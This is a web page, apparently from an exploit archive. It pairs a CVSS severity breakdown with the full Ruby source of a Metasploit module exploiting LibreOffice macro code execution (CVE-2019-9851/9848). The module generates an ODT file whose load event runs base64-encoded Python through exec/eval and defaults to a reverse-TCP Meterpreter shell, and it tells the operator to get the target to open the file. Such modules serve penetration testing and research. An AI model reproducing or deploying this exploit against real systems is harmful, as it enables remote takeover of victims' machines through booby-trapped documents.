The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: LibreOffice Macro Python Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'LibreOffice Macro Python Code Execution',
'Description' => %q{
LibreOffice comes bundled with sample macros written in Python and
allows the ability to bind program events to them.
LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.
This module generates an ODT file with a dom loaded event that,
when triggered, will execute arbitrary python code and the metasploit payload.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nils Emmerich', # Vulnerability discovery and PoC
'Shelby Pace', # Base module author (CVE-2018-16858), module reviewer and platform-independent code
'LoadLow', # This msf module
'Gabriel Masei' # Global events vuln. disclosure
],
'References' =>
[
[ 'CVE', '2019-9851' ],
[ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/' ],
[ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/' ],
[ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
],
'DisclosureDate' => '2019-07-16',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp' },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']),
OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']),
])
end
def gen_file
text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])
py_code = Rex::Text.encode_base64(payload.encoded)
@cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))"
@cmd = Rex::Text.html_encode(@cmd)
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
libre_file = ERB.new(fodt_file).result(binding())
print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")
libre_file
rescue Errno::ENOENT
fail_with(Failure::NotFound, 'Cannot find template file')
end
def exploit
fodt_file = gen_file
file_create(fodt_file)
end
end